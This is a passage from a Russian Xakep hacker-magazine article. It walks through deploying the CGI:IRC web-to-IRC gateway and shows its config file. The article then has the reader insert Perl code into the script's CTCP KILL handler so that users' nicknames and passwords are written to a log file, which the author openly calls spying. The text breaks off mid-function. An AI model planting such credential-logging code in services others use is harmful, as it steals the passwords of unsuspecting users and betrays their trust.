ЧЕРНОКНИЖНОЕ ТУННЕЛИРОВАНИЕ G3M1N1 (bugtraq@bk.ru) Спецвыпуск Xakep, номер #029, стр. 029-062-2 Поехали с самого начала. Я решил все объяснить на примере cgiirc. Первым делом ищем себе задушевного хостера, который бы разрешил тебе юзать скрипты и хотя бы чуток распоряжаться своими сокетами; ведь нам нужно будет, чтобы наш скрипт успешно общался с каким-нибудь irc.yshlepok.ru на, допустим, 6667 порту. Сразу скажу, что такого хостера найти не просто, но вполне реально, давать ссылки я не буду, так как они все забугорные, а я патриот :). Затем лезем на google.com и ищем cgiirc. Я нашел за несколько секунд cgiirc-0.5.2 и стянул архивчик. Распаковываем и изучаем его содержимое - нас с тобой будут интересовать скрипты, а не images'ы (над дизайном, я думаю, ты догадаешься поработать. Читаем README и правим файл-конфиг: # This is the full access CGI:IRC 0.5 config file # It will allow access to *all* servers and channels # See http://cgiirc.sourceforge.net/docs/config.php for help editing it. # ----- # Указываем дефолтовый сервер и порт default_server = irc.wenet.ru default_port = 6667 # Дефолтовый канал default_channel = #xakep # Реальное имя, при запросе(in /whois) default_name = CGI:IRC User # Дефолтовый ник, знаки вопроса, случайные числа default_nick = Guest??? # Имя пользователя по дефолту default_user = cgiirc # Сообщение при выходе #quit_message = Quit! # Ничего не указывай, и так пойдет %) #quit_prefix = CGI:IRC # ----- # System setup options # Если есть желание, можешь изменить имена скриптов, я оставил как было script_nph = nph-irc.cgi script_form = client-perl.cgi script_login = irc.cgi Открываем nph-irc.cgi и видим следующие переменные: $nick, $password - они-то нас и интересуют. Нужно сохранять их значения в лог-файл и потом просто прочитать и воспользоваться плодами нашего шпионажа. Ищем в скрипте, где эти данные передаются серверу, чтобы перехватить их. # Данные отправляются на сервер sub irc_out { my($event,$fh,$data) = @_; $data = $fh, $fh = $event if !$data; message('default', "-> Server: $data"); net_send($fh, $data . "\r\n"); } Пропускаем немного и находим следующий элемент: sub irc_ctcp { my($name, $info, $to, $nick, $host, $command, $params) = @_; if($name eq 'ctcp own msg') { format_out('ctcp own msg', $info, [$nick, $host, $command, $params]); }elsif($name =~ /^ctcp msg /) { if(uc($command) eq 'KILL') { return unless config_set('admin password'); my $crypt = $config->{'admin password'}; my($password, $reason) = split ' ', $params, 2; return unless length $password and length $crypt; # Сюда вставим следующий простой код, который будет записывать значение переменных $nick и $password в лог-файл open (FILELOG, ">>/path/to/log") || die "can't open log: $!\n"; print FILELOG "$nick : $password\n"; close FILELOG; # Все! Переменные ушли в логи if(crypt($password, substr($crypt, 0, 2)) eq $crypt) { message('kill ok', $nick, $reason); net_send($ircfh, "QUIT :Killed ($nick ($reason))\r\n"); irc_close(); }else{ message('kill wrong', $nick, $reason); } }elsif(uc($command) eq 'ACTION' && $irc->is_channel($info->{target})) { |